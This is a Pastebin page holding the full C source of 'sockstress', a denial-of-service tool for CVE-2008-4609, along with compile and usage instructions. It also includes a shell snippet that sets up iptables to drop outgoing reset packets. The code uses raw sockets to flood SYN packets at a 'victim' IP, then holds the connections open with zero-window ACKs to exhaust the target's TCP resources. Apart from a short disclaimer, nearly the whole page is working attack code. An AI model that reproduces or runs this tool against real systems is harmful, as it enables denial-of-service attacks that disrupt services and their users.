Advertisement
opexxx

sockstress.c

Mar 13th, 2014
245
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 16.43 KB | None | 0 0
  1. /*
  2.  *     _____  ____   _____ _  __ _____ _______ _____  ______  _____  _____
  3.  *    / ____|/ __ \ / ____| |/ // ____|__   __|  __ \|  ____|/ ____|/ ____|
  4.  *   | (___ | |  | | |    | ' /| (___    | |  | |__) | |__  | (___ | (___  
  5.  *    \___ \| |  | | |    |  <  \___ \   | |  |  _  /|  __|  \___ \ \___ \
  6.  *    ____) | |__| | |____| . \ ____) |  | |  | | \ \| |____ ____) |____) |
  7.  *   |_____/ \____/ \_____|_|\_\_____/   |_|  |_|  \_\______|_____/|_____/
  8.  *                        
  9.  *                            CVE-2008-4609
  10.  *                   https://defuse.ca/sockstress.htm
  11.  *
  12.  *                         By: havoc@defuse.ca
  13.  *                         Date: April 9, 2012
  14.  *
  15.  *         This code is explicitly placed into the public domain.
  16.  
  17.  * THIS CODE IS PROVIDED FOR EDUCATIONAL AND ETHICAL SECURITY TESTING PURPOSES
  18.  * ONLY. THE AUTHOR IS NOT RESPONSIBLE FOR ILLEGAL USE OF, OR DAMAGE CAUSED
  19.  * BY, THIS CODE. There is NO WARRANTY, to the extent permitted by law.
  20.  *
  21.  * Compile: gcc -Wall -c sockstress.c
  22.  *          gcc -pthread -o sockstress sockstress.o
  23.  *
  24.  * Usage: ./sockstress <ip>:<port> <interface> [-p payload] [-d delay]
  25.  *     <ip>             Victim IP address
  26.  *     <port>           Victim port
  27.  *     <interface>      Local network interface (e.g. eth0)
  28.  *     -p payload       File containing data to send after connecting
  29.  *                      Payload can be at most 1000 bytes
  30.  *     -d delay         Microseconds between SYN packets (default: 10000
  31.  *     -h               Help menu
  32.  *
  33.  * You MUST configure iptables to drop the reset packets sent by the local OS
  34.  * in response to the incoming acks: ./drop_rst.sh xx.xx.xx.xx
  35.  * --- BEGIN drop_rst.sh ---
  36.    #!/bin/bash
  37.    if [ $# -eq 0 ] ; then
  38.        echo "Usage: ./drop_rst.sh <remote_ip>"
  39.        exit 1
  40.    fi
  41.    iptables -A OUTPUT -p tcp --tcp-flags rst rst -d $1 -j DROP
  42.  * --- END drop_rst.sh ---
  43.  */
  44.  
  45. #include <stdio.h>
  46. #include <stdlib.h>
  47. #include <string.h>
  48. #include <unistd.h>
  49. #include <stdint.h>
  50. #include <time.h>
  51.  
  52. #include <sys/socket.h>
  53. #include <netinet/in.h>
  54. #include <arpa/inet.h>
  55. #include <net/if.h>
  56. #include <sys/ioctl.h>
  57. #include <sys/types.h>
  58.  
  59. #include <pthread.h>
  60.  
  61. #define DEBUG_MODE 0 // Set to 1 to enable extremely verbose output
  62. #define DEFAULT_SYN_DELAY (10 * 1000) // 10ms
  63. #define IP_PROT_TCP 6
  64. #define MAX_PAYLOAD_SIZE 1000
  65.  
  66. #pragma pack(push)
  67. #pragma pack(1)
  68. struct ip_header {
  69.     unsigned char ver_ihl;
  70.     unsigned char type_of_service;
  71.     uint16_t length;
  72.     uint32_t line2; // don't care about these bits
  73.     unsigned char ttl;
  74.     unsigned char protocol;
  75.     uint16_t checksum;
  76.     uint32_t source_addr;
  77.     uint32_t dest_addr;
  78.     uint32_t options;
  79. };
  80. struct tcp_header {
  81.     uint16_t src_port;
  82.     uint16_t dest_port;
  83.     uint32_t seq;
  84.     uint32_t ack;
  85.     uint16_t off_res_flags;
  86.     uint16_t window;
  87.     uint16_t checksum;
  88.     uint16_t urg_ptr;
  89.     uint32_t opts_pad;
  90. };
  91. #pragma pack(pop)
  92.  
  93. static const char *optString = "h?p:d:";
  94.  
  95. struct globalArgs_t {
  96.     uint16_t attack_port;
  97.     struct in_addr attack_ip;
  98.     struct sockaddr_in iface_addr;
  99.     int syn_delay;
  100.     unsigned char payload[MAX_PAYLOAD_SIZE];
  101.     size_t payload_size;
  102. } globalArgs;
  103.  
  104. struct packetStats_t {
  105.     unsigned long syn_sent;
  106.     unsigned long ack_sent;
  107.     unsigned long synack_recv;
  108.     unsigned long ack_recv;
  109.     unsigned long rst_recv;
  110. } packetStats;
  111.  
  112.  
  113. void *process_incoming(void *ptr);
  114. void *send_syns(void *ptr);
  115. int get_iface_ip(struct sockaddr_in *ip, char *iface);
  116. void calc_tcp_checksum(unsigned char *packet, unsigned long packet_length, struct in_addr src, struct in_addr dst);
  117. void send_ack(unsigned char *packet);
  118. void *print_status(void *ptr);
  119. void printUsage(char *msg);
  120. void initStats(void);
  121. void processArgs(int argc, char **argv);
  122. void loadPayload(char *path);
  123. void printIntro(void);
  124.  
  125.  
  126. int main(int argc, char **argv)
  127. {
  128.     srand(time(NULL));
  129.  
  130.     printIntro();
  131.     initStats();
  132.     processArgs(argc, argv);
  133.  
  134.     // Start the packet processor
  135.     pthread_t packet_processor;
  136.     pthread_create(&packet_processor, NULL, process_incoming, NULL);
  137.  
  138.     // Start the syn flood thread
  139.     pthread_t syn_sender;
  140.     pthread_create(&syn_sender, NULL, send_syns, NULL);
  141.  
  142.     pthread_t status_update;
  143.     pthread_create(&status_update, NULL, print_status, NULL);
  144.  
  145.     // Wait for the threads to return, which is never.
  146.     pthread_join(syn_sender, NULL);
  147.     pthread_join(packet_processor, NULL);
  148.     pthread_join(status_update, NULL);
  149.  
  150.     return 0;
  151. }
  152.  
  153. void printIntro(void)
  154. {
  155.     puts("SOCKSTRESS - CVE-2008-4609 | havoc@defuse.ca");
  156. }
  157.  
  158. void printUsage(char *msg)
  159. {
  160.     if(msg != NULL)
  161.         printf("[!] %s\n", msg);
  162.     puts("Usage: ./sockstress <ip>:<port> <interface> [-p payload] [-d delay]");
  163.     puts("\t<ip>\t\tVictim IP address");
  164.     puts("\t<port>\t\tVictim port");
  165.     puts("\t<interface>\tLocal network interface (e.g. eth0)");
  166.     puts("\t-p payload\tFile containing data to send after connecting");
  167.     printf("\t\t\tPayload can be at most %d bytes\n", MAX_PAYLOAD_SIZE);
  168.     printf("\t-d delay\tMicroseconds between SYN packets (default: %d)\n", DEFAULT_SYN_DELAY);
  169.     puts("\t-h\t\tHelp menu");
  170.     puts("\n **You must configure your firewall to drop TCP reset packets sent to <ip>**");
  171.     exit(-1);
  172. }
  173.  
  174. void initStats(void)
  175. {
  176.     packetStats.syn_sent = 0;
  177.     packetStats.ack_sent = 0;
  178.     packetStats.synack_recv = 0;
  179.     packetStats.ack_recv = 0;
  180.     packetStats.rst_recv = 0;
  181. }
  182.  
  183. void processArgs(int argc, char **argv)
  184. {
  185.     globalArgs.attack_port = 0;
  186.     globalArgs.syn_delay = DEFAULT_SYN_DELAY;
  187.     globalArgs.payload_size = 0;
  188.  
  189.     int opt = 0;
  190.     while((opt = getopt(argc, argv, optString)) != -1)
  191.     {
  192.         switch(opt)
  193.         {
  194.             case 'p':
  195.                 loadPayload(optarg);
  196.                 break;
  197.             case 'd':
  198.                 globalArgs.syn_delay = atoi(optarg);
  199.                 if(globalArgs.syn_delay == 0)
  200.                     printUsage("Invalid delay.");
  201.                 break;
  202.             case 'h':
  203.             case '?':
  204.                 printUsage(NULL);
  205.             default:
  206.                 break;
  207.         }
  208.     }
  209.  
  210.     char **remArgv = argv + optind;
  211.     int remArgc = argc - optind;
  212.     if(remArgc > 2)
  213.         printUsage("Too many arguments.");
  214.     if(remArgc < 2)
  215.         printUsage("Too few arguments.");
  216.  
  217.     int ip_index = 0;
  218.     int iface_index = 1;
  219.  
  220.     // If they put the interface before the ip:port, swap the indexes.
  221.     if(get_iface_ip(&globalArgs.iface_addr, remArgv[iface_index]) == 0)
  222.     {
  223.         ip_index = 1;
  224.         iface_index = 0;
  225.         if(get_iface_ip(&globalArgs.iface_addr, remArgv[iface_index]) == 0)
  226.             printUsage("Invalid interface.");
  227.     }
  228.  
  229.     char *ip = remArgv[ip_index];
  230.     char *port = remArgv[ip_index];
  231.     while(*port != ':' && *port != '\0')
  232.         port++;
  233.     if(*port == '\0')
  234.         printUsage("Please specify a port.");
  235.     *port = '\0';
  236.     port++;
  237.  
  238.     globalArgs.attack_port = atoi(port);
  239.     if(globalArgs.attack_port == 0)
  240.         printUsage("Invalid port.");
  241.  
  242.     if(inet_aton(ip, &globalArgs.attack_ip) == 0)
  243.         printUsage("Invalid IP address.");
  244.  
  245.     printf("[+] Sending packets from %s (%s)\n", remArgv[iface_index], inet_ntoa(globalArgs.iface_addr.sin_addr));
  246.     printf("[+] Attacking: %s:%hu...\n", ip, globalArgs.attack_port);
  247. }
  248.  
  249. void loadPayload(char *path)
  250. {
  251.     FILE *file = fopen(path, "rb");
  252.     if(file == NULL)
  253.         printUsage("Error reading payload file.");
  254.     globalArgs.payload_size = fread(globalArgs.payload, sizeof(unsigned char), MAX_PAYLOAD_SIZE, file);
  255.     if(ferror(file))
  256.         printUsage("Error reading payload file.");
  257. }
  258.  
  259. void *print_status(void *ptr)
  260. {
  261.     if(DEBUG_MODE)
  262.         return NULL;
  263.     while(1)
  264.     {
  265.         printf("[+] SENT: syn: %lu ack: %lu RECV: synack: %lu ack: %lu rst: %lu\r",
  266.                 packetStats.syn_sent, packetStats.ack_sent, packetStats.synack_recv, packetStats.ack_recv, packetStats.rst_recv);
  267.         fflush(stdout);
  268.         sleep(1);
  269.     }
  270. }
  271.  
  272. void *send_syns(void *ptr)
  273. {
  274.     int s_out = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  275.     if(s_out < 0)
  276.     {
  277.         perror("[!] Error creating socket to send SYNs");
  278.         exit(-1);
  279.     }
  280.     if(bind(s_out, (struct sockaddr*)&globalArgs.iface_addr, sizeof(struct sockaddr_in)) == -1)
  281.     {
  282.         perror("[!] Error binding socket to send SYNs");
  283.         exit(-1);
  284.     }
  285.     struct tcp_header tcp;
  286.     struct sockaddr_in attack_addr;
  287.     attack_addr.sin_family = AF_INET;
  288.     attack_addr.sin_addr = globalArgs.attack_ip;
  289.     while(1)
  290.     {
  291.         tcp.src_port = (rand() & 0xFFFF) | 0x8000;
  292.         tcp.dest_port = htons(globalArgs.attack_port);
  293.         tcp.seq = htonl(rand());
  294.         tcp.ack = 0;
  295.  
  296.         tcp.off_res_flags = 0;
  297.         // set data offset
  298.         tcp.off_res_flags |= htons(0x6000);
  299.         // set syn flag
  300.         tcp.off_res_flags |= htons(0x0002);
  301.  
  302.         tcp.window = 1000;
  303.         tcp.urg_ptr = 0;
  304.         tcp.opts_pad = 0;
  305.  
  306.         calc_tcp_checksum((unsigned char*)&tcp, sizeof(struct tcp_header), globalArgs.iface_addr.sin_addr, attack_addr.sin_addr);
  307.  
  308.         int ret = sendto(s_out, &tcp, sizeof(struct tcp_header), 0,
  309.                 (struct sockaddr*)&attack_addr, sizeof(struct sockaddr_in));
  310.         if(ret == -1)
  311.             perror("[!] Error sending SYN packet");
  312.         packetStats.syn_sent++;
  313.         usleep(globalArgs.syn_delay);
  314.     }
  315.  
  316. }
  317.  
  318. void send_ack(unsigned char *packet)
  319. {
  320.     if(DEBUG_MODE)
  321.         printf("[d] ---SENDING ACK...\n");
  322.     static int s_out = -1;
  323.  
  324.     if(s_out == -1)
  325.     {
  326.         if(DEBUG_MODE)
  327.             printf("[d] Initializing ACK socket...\n");
  328.         s_out = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  329.         if(s_out < 0)
  330.         {
  331.             perror("[!] Error creating socket to send ACK/SYNACK");
  332.             exit(-1);
  333.         }
  334.         if(bind(s_out, (struct sockaddr*)&globalArgs.iface_addr, sizeof(struct sockaddr_in)) == -1)
  335.         {
  336.             perror("[!] Error binding socket to send ACK/SYNACK");
  337.             exit(-1);
  338.         }
  339.     }
  340.  
  341.     struct sockaddr_in attack_addr;
  342.     attack_addr.sin_family = AF_INET;
  343.     attack_addr.sin_addr = globalArgs.attack_ip;
  344.  
  345.     struct ip_header *ip = (struct ip_header*)packet;
  346.     struct tcp_header *synack = (struct tcp_header*)(packet + 4*(ip->ver_ihl & 0x0F));
  347.  
  348.     unsigned char reply[sizeof(struct tcp_header) + MAX_PAYLOAD_SIZE];
  349.     struct tcp_header *ack = (struct tcp_header*)reply;
  350.     ack->src_port = synack->dest_port;
  351.     ack->dest_port = synack->src_port;
  352.     ack->ack = synack->seq; // Only add 1 if it's a synack (done below)
  353.     ack->seq = synack->ack;
  354.  
  355.     ack->off_res_flags = 0;
  356.     // set data offset
  357.     ack->off_res_flags |= htons(0x6000);
  358.     // set ack flag
  359.     ack->off_res_flags |= htons(0x0010);
  360.  
  361.     ack->window = 0; // zero window to make the other side wait
  362.     ack->urg_ptr = 0;
  363.     ack->opts_pad = 0;
  364.  
  365.     // If the received packet is a SYNACK, attach the payload
  366.     unsigned long packet_size = sizeof(struct tcp_header);
  367.     if(synack->off_res_flags & htons(0x0010) && synack->off_res_flags & htons(0x0002))
  368.     {
  369.         ack->ack = htonl(ntohl(synack->seq) + 1);
  370.         ack->seq = synack->ack;
  371.         memcpy(reply + sizeof(struct tcp_header), globalArgs.payload, globalArgs.payload_size);
  372.         packet_size += globalArgs.payload_size;
  373.     }
  374.  
  375.     calc_tcp_checksum(reply, packet_size, globalArgs.iface_addr.sin_addr, attack_addr.sin_addr);
  376.     int ret = sendto(s_out, reply, packet_size, 0,
  377.             (struct sockaddr*)&attack_addr, sizeof(struct sockaddr_in));
  378.     if(ret == -1)
  379.         perror("[!] Error sending ACK/SYNACK packet");
  380. }
  381.  
  382. // Thread for processing incoming packets
  383. void *process_incoming(void *ptr)
  384. {
  385.     int s_listen = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  386.  
  387.     if(s_listen < 0)
  388.     {
  389.         perror("[!] Error creating socket to process incoming packets");
  390.         exit(-1);
  391.     }
  392.  
  393.     struct sockaddr_in localhost;
  394.     localhost.sin_family = AF_INET;
  395.     localhost.sin_addr.s_addr = INADDR_ANY;
  396.  
  397.     bind(s_listen, (struct sockaddr*)&localhost, sizeof(localhost));
  398.     unsigned char packet_buffer[10000];
  399.  
  400.     while(1)
  401.     {
  402.         int count = recv(s_listen, packet_buffer, 10000, 0);
  403.         struct ip_header *ip = (struct ip_header*)packet_buffer;
  404.         struct tcp_header *tcp = (struct tcp_header*)(packet_buffer + 4*(ip->ver_ihl & 0x0F));
  405.  
  406.         if(ip->source_addr == globalArgs.attack_ip.s_addr && ip->protocol == IP_PROT_TCP)
  407.         {
  408.             struct in_addr src_addr;
  409.             src_addr.s_addr = ip->source_addr;
  410.  
  411.             int urg, ack, psh, rst, syn, fin;
  412.             urg = tcp->off_res_flags & htons(0x0020);
  413.             ack = tcp->off_res_flags & htons(0x0010);
  414.             psh = tcp->off_res_flags & htons(0x0008);
  415.             rst = tcp->off_res_flags & htons(0x0004);
  416.             syn = tcp->off_res_flags & htons(0x0002);
  417.             fin = tcp->off_res_flags & htons(0x0001);
  418.             if(DEBUG_MODE)
  419.             {
  420.                 printf("[d] Got %d byte TCP packet from %s\n", count, inet_ntoa(src_addr));
  421.                 printf("[d]\t SEQ: %lx    ACK: %lx\n", (long)ntohl(tcp->seq), (long)ntohl(tcp->ack));
  422.                 printf("[d]\t SRC: %d     DST: %d\n", (int)ntohs(tcp->src_port), (int)ntohs(tcp->dest_port));
  423.                 printf("[d]\t IP CHECKSUM %lx   TCP CHECKSUM %lx\n", (long)ip->checksum, (long)tcp->checksum);
  424.                 printf("[d]\t FLAGS: ");
  425.                 if(urg)
  426.                     printf("URG ");
  427.                 if(ack)
  428.                     printf("ACK ");
  429.                 if(psh)
  430.                     printf("PSH ");
  431.                 if(rst)
  432.                     printf("RST ");
  433.                 if(syn)
  434.                     printf("SYN ");
  435.                 if(fin)
  436.                     printf("FIN ");
  437.                 printf("\n[d]\t WINDOW: %d", tcp->window);
  438.                 printf("\n");
  439.             }
  440.  
  441.             // Complete the connection
  442.             if(syn && ack)
  443.             {
  444.                 packetStats.synack_recv++;
  445.                 send_ack(packet_buffer);
  446.                 packetStats.ack_sent++;
  447.             }
  448.             // Keep it alive
  449.             else if(ack)
  450.             {
  451.                 packetStats.ack_recv++;
  452.                 send_ack(packet_buffer);
  453.                 packetStats.ack_sent++;
  454.             }
  455.             else if(rst)
  456.             {
  457.                 packetStats.rst_recv++;
  458.             }
  459.  
  460.         }
  461.     }
  462. }
  463.  
  464. #define ADD_16BIT_OVERFLOW(x) x = (x + (1&(x >> 16))) & 0xFFFF;
  465.  
  466. void calc_tcp_checksum(unsigned char *packet, unsigned long packet_length, struct in_addr src, struct in_addr dst)
  467. {
  468.  
  469.     uint32_t checksum = 0;
  470.  
  471.     // Pseudo Header
  472.     uint32_t source_ip = ntohl(src.s_addr);
  473.     uint32_t dest_ip = ntohl(dst.s_addr);
  474.  
  475.     // Source Address
  476.     checksum += (source_ip >> 16) & 0xFFFF;
  477.     ADD_16BIT_OVERFLOW(checksum);
  478.     checksum += source_ip & 0x0000FFFF;
  479.     ADD_16BIT_OVERFLOW(checksum);
  480.  
  481.     // Destination Address
  482.     checksum += (dest_ip >> 16) & 0xFFFF;
  483.     ADD_16BIT_OVERFLOW(checksum);
  484.     checksum += dest_ip & 0x0000FFFF;
  485.     ADD_16BIT_OVERFLOW(checksum);
  486.  
  487.     // zero||protocol
  488.     checksum += 0x0006;
  489.     ADD_16BIT_OVERFLOW(checksum);
  490.  
  491.     //TCP length
  492.     checksum += packet_length;
  493.     ADD_16BIT_OVERFLOW(checksum);
  494.  
  495.     // Set the checksum field to 0
  496.     struct tcp_header *tcp = (struct tcp_header*)packet;
  497.     tcp->checksum = 0;
  498.  
  499.     int i;
  500.     for(i = 0; i < packet_length / 2; i++)
  501.     {
  502.         // Read the 16-bit word in the correct endianness
  503.         uint16_t block = (packet[i * 2] << 8) | packet[i * 2 + 1];
  504.         checksum += block;
  505.         ADD_16BIT_OVERFLOW(checksum);
  506.     }
  507.  
  508.     if(packet_length % 2 == 1)
  509.     {
  510.         uint16_t last_block = packet[packet_length-1] << 8;
  511.         checksum += last_block;
  512.         ADD_16BIT_OVERFLOW(checksum);
  513.     }
  514.  
  515.     // actual checksum is the one's compliment of the one's compliment sum
  516.     tcp->checksum = htons(~checksum);
  517. }
  518.  
  519. int get_iface_ip(struct sockaddr_in *ip, char *iface)
  520. {
  521.     int fd;
  522.     struct ifreq ifr;
  523.     fd = socket(AF_INET, SOCK_DGRAM, 0);
  524.     ifr.ifr_addr.sa_family = AF_INET;
  525.     strncpy(ifr.ifr_name, iface, IFNAMSIZ - 1);
  526.     int ret = ioctl(fd, SIOCGIFADDR, &ifr);
  527.     if(ret != 0)
  528.     {
  529.         return 0;
  530.     }
  531.     close(fd);
  532.     ip->sin_family = AF_INET;
  533.     ip->sin_addr = ((struct sockaddr_in*)&ifr.ifr_addr)->sin_addr;
  534.     return 1;
  535. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement